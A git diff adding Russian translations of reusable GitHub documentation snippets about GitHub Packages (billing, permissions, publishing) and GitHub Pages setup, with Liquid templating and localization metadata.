b/translations/ru-RU/data/reusables/package_registry/enable-enterprise-github-packages.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 5b179773e53728707849ee4b7c6aae58c668ea22 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884360" +--- +{% ifversion ghes %} +1. В разделе "Пакеты GitHub" выберите **Включить пакеты GitHub**. + ![Установите флажок, чтобы включить пакеты GitHub из меню консоли управления Enterprise](/assets/images/help/package-registry/enable-github-packages.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/navigate-to-packages.md b/translations/ru-RU/data/reusables/package_registry/navigate-to-packages.md new file mode 100644 index 000000000000..b79a8ea0836a --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/navigate-to-packages.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 027141da07a72eed8693daa090f183c39fa05f4c +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887145" +--- +1. Щелкните имя пакета, который требуется просмотреть. +![Имя пакета](/assets/images/help/package-registry/package-name.png) diff --git a/translations/ru-RU/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md b/translations/ru-RU/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md new file mode 100644 index 000000000000..7a5938bed83c --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md @@ -0,0 +1,3 @@ +As a next step, you can customize which package ecosystems you would like to make available to end users on {% data variables.location.product_location %}. For more information, see "[Configuring package ecosystem support for your enterprise](/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." + +For an overview of getting started with {% data variables.product.prodname_registry %} on {% data variables.product.prodname_dotcom %}, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." diff --git a/translations/ru-RU/data/reusables/package_registry/no-graphql-to-delete-packages.md b/translations/ru-RU/data/reusables/package_registry/no-graphql-to-delete-packages.md new file mode 100644 index 000000000000..bd9799cf5d78 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/no-graphql-to-delete-packages.md @@ -0,0 +1 @@ +{% ifversion fpt or ghec %} The {% data variables.product.prodname_registry %} GraphQL API does not support containers or Docker images that use the package namespace `https://ghcr.io/OWNER/PACKAGE-NAME`, or npm images that use the package namespace `https://npm.pkg.github.com/OWNER/PACKAGE-NAME`.{% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/package-page-info.md b/translations/ru-RU/data/reusables/package_registry/package-page-info.md new file mode 100644 index 000000000000..2bc78ae8b3d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/package-page-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e10918902ed315c902835d3fed6b8cdae2cb83b7 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878762" +--- +На странице пакета {% data variables.product.prodname_dotcom %} предоставляют метаданные для каждой версии, например дату публикации. Можно просмотреть сведения о пакете, включая описание и инструкции по установке и использованию. Можно скачать все ресурсы, связанные с пакетом, и просмотреть сведения о действии скачивания. Пример страницы пакета см. в разделе [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). diff --git a/translations/ru-RU/data/reusables/package_registry/package-registry-with-github-tokens.md b/translations/ru-RU/data/reusables/package_registry/package-registry-with-github-tokens.md new file mode 100644 index 000000000000..e6f45e55dde0 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/package-registry-with-github-tokens.md @@ -0,0 +1 @@ +If you are using a {% data variables.product.prodname_actions %} workflow, you can use a `GITHUB_TOKEN` to publish and consume packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}. For more information, see "[Authenticating with the `GITHUB_TOKEN`](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." diff --git a/translations/ru-RU/data/reusables/package_registry/package-settings-from-org-level.md b/translations/ru-RU/data/reusables/package_registry/package-settings-from-org-level.md new file mode 100644 index 000000000000..8ea24428301d --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/package-settings-from-org-level.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: aa5f634c646d51b0d38495ef7d2467590115c889 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109583" +--- +1. В {% data variables.product.prodname_dotcom %} перейдите на главную страницу вашей организации. +2. Под названием организации щелкните **Пакеты**. + {% ifversion fpt or ghes or ghec %} ![ Вкладка "Пакеты" на целевой странице](/assets/images/help/package-registry/org-tab-for-packages-with-overview-tab.png) организации {% else %} Вкладка "Пакеты" ![на целевой странице](/assets/images/help/package-registry/org-tab-for-packages.png) организации {% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/package-settings-from-user-level.md b/translations/ru-RU/data/reusables/package_registry/package-settings-from-user-level.md new file mode 100644 index 000000000000..39f670094acd --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/package-settings-from-user-level.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: f71ba706221b5f893c5308cdebb298ac5cf8a950 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121907" +--- +1. В {% data variables.product.prodname_dotcom %} перейдите на главную страницу личной учетной записи. +2. В правом верхнем углу {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %} щелкните фотографию профиля, а затем щелкните **Ваш профиль**. + ![Profile photo (Фотография профиля)](/assets/images/help/profile/top_right_avatar.png) +3. На странице профиля в правом верхнем углу щелкните **Пакеты**. + ![Параметр "Пакеты" на странице профиля](/assets/images/help/package-registry/packages-from-user-profile.png) diff --git a/translations/ru-RU/data/reusables/package_registry/package-settings-option.md b/translations/ru-RU/data/reusables/package_registry/package-settings-option.md new file mode 100644 index 000000000000..aa3bd2d7087c --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/package-settings-option.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 5b18de87830c2c7373a363612e64716e5ed7c5ea +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878745" +--- +3. Найдите и выберите пакет. +4. В правом верхнем углу целевой страницы пакета нажмите кнопку **Параметры пакета**. + ![Кнопка "Параметры пакета"](/assets/images/help/package-registry/packages-settings-from-package-landing-page.png) diff --git a/translations/ru-RU/data/reusables/package_registry/packages-billing.md b/translations/ru-RU/data/reusables/package_registry/packages-billing.md new file mode 100644 index 000000000000..07e599fb33dd --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-billing.md @@ -0,0 +1 @@ +{% data variables.product.prodname_registry %} usage is free for public packages. For private packages, each account on {% data variables.location.product_location %} receives a certain amount of free storage and data transfer, depending on the product used with the account. Any usage beyond the included amounts is controlled by spending limits. diff --git a/translations/ru-RU/data/reusables/package_registry/packages-classic-pat-only.md b/translations/ru-RU/data/reusables/package_registry/packages-classic-pat-only.md new file mode 100644 index 000000000000..ca5b524fd32f --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-classic-pat-only.md @@ -0,0 +1,7 @@ +{% ifversion pat-v2 %} +{% note %} + +{% data variables.product.prodname_registry %} only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/packages-cluster-support.md b/translations/ru-RU/data/reusables/package_registry/packages-cluster-support.md new file mode 100644 index 000000000000..4464f44bc82c --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-cluster-support.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 65f8d24babf0236053d286a86489e016bef749fd +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121896" +--- +{% ifversion ghes %} {% note %} + +**Примечание.** {% data variables.product.prodname_registry %} в {% data variables.product.product_name %} сейчас не поддерживает кластеризацию. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/packages-from-code-tab.md b/translations/ru-RU/data/reusables/package_registry/packages-from-code-tab.md new file mode 100644 index 000000000000..26cac2522ff7 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-from-code-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d8ea9fee1541d16236d3b745088c508b0eb0b151 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121859" +--- +1. Справа от списка файлов щелкните **Пакеты**. + {% ifversion fpt or ghec %} ![Ссылка "Пакеты" на странице обзора репозитория](/assets/images/help/package-registry/packages-link.png) {% else %} ![Ссылка "Пакеты" на странице обзора репозитория](/assets/images/help/package-registry/packages-from-repo.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/packages-ghae-release-stage.md b/translations/ru-RU/data/reusables/package_registry/packages-ghae-release-stage.md new file mode 100644 index 000000000000..9eb7b0db0517 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-ghae-release-stage.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 92c9b94f4c711223f758a8b0993d9a9765bc5726 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121856" +--- +{% ifversion ghae %} {% note %} + +**Примечание.** {% data variables.product.prodname_registry %} сейчас находится в бета-версии для {% data variables.product.prodname_ghe_managed %}. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/package_registry/packages-spending-limit-brief.md b/translations/ru-RU/data/reusables/package_registry/packages-spending-limit-brief.md new file mode 100644 index 000000000000..66c6dc6498c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-spending-limit-brief.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0ba3510a3aae6ecf9cfcaa75ded74d544ab5996a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121851" +--- +Если счета выставляются ежемесячно, ваша учетная запись будет иметь предельную сумму расходов по умолчанию, равную 0 долларам США (USD), что делает невозможным дополнительное использование хранилища и передачу данных после достижения предельных объемов. Если вы оплачиваете учетную запись по счету, предельная сумма расходов по умолчанию для вашей учетной записи будет неограниченной. diff --git a/translations/ru-RU/data/reusables/package_registry/packages-spending-limit-detailed.md b/translations/ru-RU/data/reusables/package_registry/packages-spending-limit-detailed.md new file mode 100644 index 000000000000..24e66f487ddf --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/packages-spending-limit-detailed.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e06b278aad8065440be4056bf0343f22f5e88739 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878744" +--- +{% data reusables.package_registry.packages-spending-limit-brief %} + +Если ваша предельная сумма расходов не ограничена или превышает 0 долларов США (USD), вам будет выставлен счет за любое дополнительное использование хранилища или передачу данных, также называемые превышением, вплоть до предельной суммы расходов. К превышениям {% data variables.product.prodname_registry %} не применяются купоны в вашей учетной записи. + +{% data reusables.billing.overages-billed-monthly %} diff --git a/translations/ru-RU/data/reusables/package_registry/public-or-private-packages.md b/translations/ru-RU/data/reusables/package_registry/public-or-private-packages.md new file mode 100644 index 000000000000..d9a178faee17 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/public-or-private-packages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 205ff4b09575786c7ce1a36a3a65db6b64e3cf13 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121843" +--- +Вы можете публиковать пакеты {% ifversion ghae %}во внутреннем{% else %}в общедоступном{% endif %} репозитории ({% ifversion ghae %}внутренние{% else %}общедоступные{% endif %} пакеты), чтобы совместно использовать их со всеми {% ifversion fpt or ghec %}участниками {% data variables.product.prodname_dotcom %}{% else %}пользователями вашего предприятия{% endif %}, или в частном репoзитории (частные пакеты), чтобы совместно использовать их с участниками совместной работы или с организацией. diff --git a/translations/ru-RU/data/reusables/package_registry/publish_package.md b/translations/ru-RU/data/reusables/package_registry/publish_package.md new file mode 100644 index 000000000000..0ecdfb34ad6d --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/publish_package.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2f542916e048a9cc5c243ead6e83501a01bb7dad +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121840" +--- +1. Публикация пакета: + + ```shell + $ npm publish + ``` diff --git a/translations/ru-RU/data/reusables/package_registry/repository_connection_steps.md b/translations/ru-RU/data/reusables/package_registry/repository_connection_steps.md new file mode 100644 index 000000000000..59025c0ba304 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/repository_connection_steps.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 1d4cc05436a8f3a616f713d371a94e86684854e9 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878714" +--- +1. В разделе версий пакета щелкните **Подключить репозиторий**. + ![Кнопка "Подключить репозиторий" на целевой странице пакетов](/assets/images/help/package-registry/connect-repository.png) + +1. Выберите репозиторий и нажмите кнопку **Подключить репозиторий**. + ![Кнопка "Подключить репозиторий" во всплывающем окне выбора репозитория](/assets/images/help/package-registry/select_a_repo.png) diff --git a/translations/ru-RU/data/reusables/package_registry/required-scopes.md b/translations/ru-RU/data/reusables/package_registry/required-scopes.md new file mode 100644 index 000000000000..9a69fbda9b49 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/required-scopes.md @@ -0,0 +1 @@ +You must use a {% data variables.product.pat_v1 %} with the appropriate scopes to publish and install packages in {% data variables.product.prodname_registry %}. For more information, see "[About {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-github-packages#authenticating-to-github-packages)." diff --git a/translations/ru-RU/data/reusables/package_registry/verify_repository_field.md b/translations/ru-RU/data/reusables/package_registry/verify_repository_field.md new file mode 100644 index 000000000000..e58718901f43 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/verify_repository_field.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c680275eba6e214467a03f35c58bec6c878d0a62 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410590" +--- +1. Проверьте поле `repository` в файле *package.json* проекта. Значение поля `repository` должно соответствовать URL-адресу репозитория {% data variables.product.prodname_dotcom %}. Например, если URL-адрес репозитория — это `github.com/my-org/test`, значением поля репозитория должно быть `https://github.com/my-org/test.git`. diff --git a/translations/ru-RU/data/reusables/package_registry/viewing-packages.md b/translations/ru-RU/data/reusables/package_registry/viewing-packages.md new file mode 100644 index 000000000000..87989ba9206d --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/viewing-packages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 46b3a55e89711b12748bd2e594b70061180fa6c5 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145121784" +--- +После публикации пакет можно просмотреть здесь: {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в статье "[Просмотр пакетов](/packages/manage-packages/viewing-packages)". diff --git a/translations/ru-RU/data/reusables/package_registry/visibility-and-access-permissions.md b/translations/ru-RU/data/reusables/package_registry/visibility-and-access-permissions.md new file mode 100644 index 000000000000..faac9ef3d089 --- /dev/null +++ b/translations/ru-RU/data/reusables/package_registry/visibility-and-access-permissions.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 42d6bbb15a1f147d9eea0c908b17ec30790a54c3 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145121779" +--- +Если у вас есть разрешения администратора на доступ к образу контейнера, для него можно задать частный или общий доступ. Общедоступные образы разрешают анонимный доступ и могут быть извлечены без проверки подлинности или входа с помощью CLI. + +Администратор также может предоставить разрешения на доступ к образу контейнера отдельно от разрешений, заданных на уровнях организации и репозитория. + +Для образов контейнеров, опубликованных в личной учетной записи и принадлежащих ей, можно предоставить роль доступа любому пользователю. Для работы с образами контейнеров, которые опубликованы и принадлежат организации, роль доступа можно предоставить любому пользователю или команде в организации. + +| Разрешение | Описание доступа | +|------------|--------------------| +| Чтение | Может скачивать пакет.
Может считывать метаданные пакета. | +| запись | Может отправлять и скачивать этот пакет.
Может считывать и записывать метаданные пакета. | +| Административный | Может отправлять, скачивать, удалять этот пакет и управлять им.
Может считывать и записывать метаданные пакета.
Может предоставлять права доступа к пакету. diff --git a/translations/ru-RU/data/reusables/pages/about-front-matter.md b/translations/ru-RU/data/reusables/pages/about-front-matter.md new file mode 100644 index 000000000000..9cf3ea835076 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/about-front-matter.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: aaa4a97a7de8c436dfda5dcb0deaf36c2163e5f9 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879202" +--- +Чтобы задать переменные и метаданные, такие как название и макет, для страницы или публикации на сайте, можно добавить титульный лист YAML в начало любого файла Markdown или HTML. Дополнительные сведения см. в статье "[Титульный лист](https://jekyllrb.com/docs/front-matter/)" в документации по Jekyll. diff --git a/translations/ru-RU/data/reusables/pages/about-private-publishing.md b/translations/ru-RU/data/reusables/pages/about-private-publishing.md new file mode 100644 index 000000000000..6691b5185d41 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/about-private-publishing.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c63b4d971e0b7dbf2f2b6e3aa1d59c1450310f35 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060843" +--- +{% ifversion fpt %} Можно создавать сайты {% data variables.product.prodname_pages %}, общедоступные в Интернете. Организации, использующие {% data variables.product.prodname_ghe_cloud %}, также могут публиковать сайты в закрытом режиме, управляя доступом к сайту. +{% elsif ghec %} Если только ваша организация не использует {% data variables.product.prodname_emus %}, вы можете публиковать сайты проектов в общедоступном или закрытом режиме, управляя доступом к сайту. {% endif %} diff --git a/translations/ru-RU/data/reusables/pages/add-jekyll-theme.md b/translations/ru-RU/data/reusables/pages/add-jekyll-theme.md new file mode 100644 index 000000000000..cc76bfb01fba --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/add-jekyll-theme.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ae53d1e758994679adf424799bc923ac5445082b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121768" +--- +Вы можете добавить тему Jekyll на сайт {% data variables.product.prodname_pages %}, чтобы настроить его внешний вид. diff --git a/translations/ru-RU/data/reusables/pages/admin-must-push.md b/translations/ru-RU/data/reusables/pages/admin-must-push.md new file mode 100644 index 000000000000..a1f3a0f8af2b --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/admin-must-push.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2d53a518c3fe06a8dfc5731ead3d77e0671a6092 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147428415" +--- +{% tip %} + +**Примечание.** {% ifversion pages-custom-workflow %}Если публикация выполняется из ветви и{% else %}Если{% endif %} сайт не публикуется автоматически, убедитесь, что пользователь с разрешениями администратора и проверенным адресом электронной почты отправил изменения в источник публикации. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/pages/best-with-supported-themes.md b/translations/ru-RU/data/reusables/pages/best-with-supported-themes.md new file mode 100644 index 000000000000..1c207b80b9c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/best-with-supported-themes.md @@ -0,0 +1,3 @@ +{% ifversion fpt or ghec %} +These instructions work best with themes that are officially supported by {% data variables.product.prodname_pages %}. For a complete list of supported themes, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site. +{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/build-failure-email-server.md b/translations/ru-RU/data/reusables/pages/build-failure-email-server.md new file mode 100644 index 000000000000..89e9253b460d --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/build-failure-email-server.md @@ -0,0 +1,7 @@ +{% ifversion ghes or ghae %} + {% tip %} + + You will only receive an email if outbound email support is enabled on {% data variables.location.product_location %}. For more information, contact your site administrator. + + {% endtip %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/build-locally-download-cname.md b/translations/ru-RU/data/reusables/pages/build-locally-download-cname.md new file mode 100644 index 000000000000..33a5e1828568 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/build-locally-download-cname.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a26348f2535341125e9ce55cb65f55b8a65564f8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121752" +--- +1. Если вы используете генератор статических сайтов для локального создания сайта и отправляете созданные файлы в {% data variables.product.product_name %}, вытяните фиксацию, которая добавила файл _CNAME_ в локальный репозиторий. Дополнительные сведения см. в разделе [Устранение неполадок с личными доменами и {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages#cname-errors). diff --git a/translations/ru-RU/data/reusables/pages/check-workflow-run.md b/translations/ru-RU/data/reusables/pages/check-workflow-run.md new file mode 100644 index 000000000000..2736ac2b78c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/check-workflow-run.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 258f73f928cd99de64f45fda0e6cec8e08ff335c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108920" +--- +{% ifversion build-pages-with-actions %} +1. Ваш сайт {% data variables.product.prodname_pages %} создан и развернут с помощью рабочего процесса {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье [Просмотр журнала выполнения рабочего процесса](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). + + {% note %} + + **Примечание.** {% data variables.product.prodname_actions %} предоставляется бесплатно для общедоступных репозиториев. Плата за использование начисляется для частных и внутренних репозиториев, которые превышают число выделяемых ежемесячно бесплатных минут. Дополнительные сведения см. в статье [Ограничения использования, выставление счетов и администрирование](/actions/reference/usage-limits-billing-and-administration). + + {% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/choose-visibility.md b/translations/ru-RU/data/reusables/pages/choose-visibility.md new file mode 100644 index 000000000000..a8bdb67c3eaf --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/choose-visibility.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 981b6ffa7666205c49e5bc9e544e8a1aa25d6c18 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067069" +--- +{%- ifversion ghec %} +1. При необходимости, если вы публикуете сайт проекта из частного или внутреннего репозитория, выберите видимость для вашего сайта. В разделе {% data variables.product.prodname_pages %}", выберите раскрывающийся список в меню **настроек видимости {% data variables.product.prodname_pages %}** , а затем выберите настройку видимости. Дополнительные сведения см. в разделе [Изменение видимости сайта {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site). + ![Раскрывающийся список для выбора видимости сайта](/assets/images/help/pages/public-or-private-visibility.png) + + {% indented_data_reference reusables.pages.privately-publish-ghec-only spaces=3%} {%- endif %} diff --git a/translations/ru-RU/data/reusables/pages/configure-publishing-source.md b/translations/ru-RU/data/reusables/pages/configure-publishing-source.md new file mode 100644 index 000000000000..826b87ea3a58 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/configure-publishing-source.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3dc1b25b757a9119e78b3dceaeb2dc4dd6b1c3cd +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878720" +--- +1. Настройте источник публикации. Дополнительные сведения см. в разделе [Настройка источника публикации для сайта {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-your-github-pages-site). diff --git a/translations/ru-RU/data/reusables/pages/contact-dns-provider.md b/translations/ru-RU/data/reusables/pages/contact-dns-provider.md new file mode 100644 index 000000000000..15ac32457022 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/contact-dns-provider.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 713237c303ecff792332c97e330aa620817ca6b3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121696" +--- +Дополнительные сведения о создании правильной записи см. в документации поставщика DNS. diff --git a/translations/ru-RU/data/reusables/pages/create-repo-name.md b/translations/ru-RU/data/reusables/pages/create-repo-name.md new file mode 100644 index 000000000000..9f92351b6197 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/create-repo-name.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 5bcf2103fb6d42f2bdd176c093a4d7d4b6cc3fb7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884352" +--- +1. Введите имя репозитория и необязательное описание. Если вы создаете сайт пользователя или организации, репозиторию необходимо присвоить имя `.github.io` или `.github.io`. Если имя пользователя или организации содержит прописные буквы, необходимо преобразовать их в нижний регистр. +Дополнительные сведения см. в статье [Сведения о {% data variables.product.prodname_pages %}](/articles/about-github-pages#types-of-github-pages-sites). + ![Поле создания репозитория](/assets/images/help/pages/create-repository-name-pages.png) diff --git a/translations/ru-RU/data/reusables/pages/decide-publishing-source.md b/translations/ru-RU/data/reusables/pages/decide-publishing-source.md new file mode 100644 index 000000000000..3dd13a5e23be --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/decide-publishing-source.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ec4658691c5147aecfb83c20a4c35be184314dad +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147428286" +--- +1. Укажите, какой источник публикации вы хотите использовать. Дополнительные сведения см. в статье "[Настройка источника публикации для сайта GitHub Pages](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)". diff --git a/translations/ru-RU/data/reusables/pages/default-domain-information.md b/translations/ru-RU/data/reusables/pages/default-domain-information.md new file mode 100644 index 000000000000..3ab6ae8d7f43 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/default-domain-information.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3ad1c0111ee99734160f5245932995d7dc25143d +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878650" +--- +Дополнительные сведения о домене по умолчанию для вашего сайта см. в разделе [Сведения о {% data 